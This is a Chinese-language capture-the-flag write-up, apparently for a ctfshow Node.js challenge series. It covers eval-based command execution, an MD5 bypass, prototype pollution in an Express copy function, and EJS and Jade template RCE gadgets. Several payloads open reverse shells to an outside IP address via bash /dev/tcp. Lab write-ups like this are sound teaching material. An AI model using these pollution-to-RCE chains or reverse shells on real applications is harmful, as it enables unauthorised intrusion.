目录
进来是一个登录界面
下载附件,简单代码审计


表单传ctfshow 123456即可
进来提示
![]()
get上传eval参数执行nodejs代码
payload:
?eval=require('child_process').execSync('tac f*').toString()
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
(不能使用通配符)
上来给到源码

?a[x]=1&b[x]=2
- a={'x':'1'}
- b={'x':'2'}
-
- console.log(a+"flag{xxx}")
- console.log(b+"flag{xxx}")
- 二者得出的结果都是[object Object]flag{xxx},所以md5值也相同
进来拿到源码
贴两段关键的
login.js
- var express = require('express');
- var router = express.Router();
- var utils = require('../utils/common');
-
-
-
- /* GET home page. */
- router.post('/', require('body-parser').json(),function(req, res, next) {
- res.type('html');
- var flag='flag_here';
- var secert = {};
- var sess = req.session;
- let user = {};
- utils.copy(user,req.body);
- if(secert.ctfshow==='36dboy'){
- res.end(flag);
- }else{
- return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
- }
-
-
- });
-
- module.exports = router;
common.js
- module.exports = {
- copy:copy
- };
-
- function copy(object1, object2){
- for (let key in object2) {
- if (key in object2 && key in object1) {
- copy(object1[key], object2[key])
- } else {
- object1[key] = object2[key]
- }
- }
- }
考的是原型链污染
payload:
{"a":1,"__proto__":{"ctfshow":"36dboy"}}
关键代码
api.js
- var express = require('express');
- var router = express.Router();
- var utils = require('../utils/common');
-
-
-
- /* GET home page. */
- router.post('/', require('body-parser').json(),function(req, res, next) {
- res.type('html');
- res.render('api', { query: Function(query)(query)});
-
- });
-
- module.exports = router;
login.js
- var express = require('express');
- var router = express.Router();
- var utils = require('../utils/common');
-
- function User(){
- this.username='';
- this.password='';
- }
- function normalUser(){
- this.user
- }
-
-
- /* GET home page. */
- router.post('/', require('body-parser').json(),function(req, res, next) {
- res.type('html');
- var flag='flag_here';
- var secert = {};
- var sess = req.session;
- let user = {};
- utils.copy(user,req.body);
- if(secert.ctfshow===flag){
- res.end(flag);
- }else{
- return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
- }
-
-
- });
-
- module.exports = router;
flag值未知,用上一题的思路走不通
这时候看api.js的代码,发现存在可以在login污染query参数 再在api利用Function反弹shell
Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。
而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。
贴出payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}
在login污染
在api触发


贴出不一样的地方
login.js
- var express = require('express');
- var router = express.Router();
- var utils = require('../utils/common');
-
-
-
- /* GET home page. */
- router.post('/', require('body-parser').json(),function(req, res, next) {
- res.type('html');
- var flag='flag_here';
- var user = new function(){
- this.userinfo = new function(){
- this.isVIP = false;
- this.isAdmin = false;
- this.isAuthor = false;
- };
- }
- utils.copy(user.userinfo,req.body);
- if(user.userinfo.isAdmin){
- res.end(flag);
- }else{
- return res.json({ret_code: 2, ret_msg: '登录失败'});
- }
-
-
- });
-
- module.exports = router;
这里要注意的是,user.userinfo.isAdmin原本就存在,不会向上找,修改Object.isAdmin无用
所以还得利用api反弹shell
但这次要污染两层
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"')"}}}
我测,api没了还有啥利用点
在app.js中发现是ejs

直接ejs rce梭了
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}
printenv查看环境变量可以看到flag

在app.js中发现是jade

直接用jade rce payload
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');//"}}}
注意这里发包时要设置Content-Type: application/json

理想的payload:
?query={"name":"admin","password":"ctfshow","isVIP":true}
为了绕过","过滤
补充前置知识
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析

因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式 ,所以要编码c
最终payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}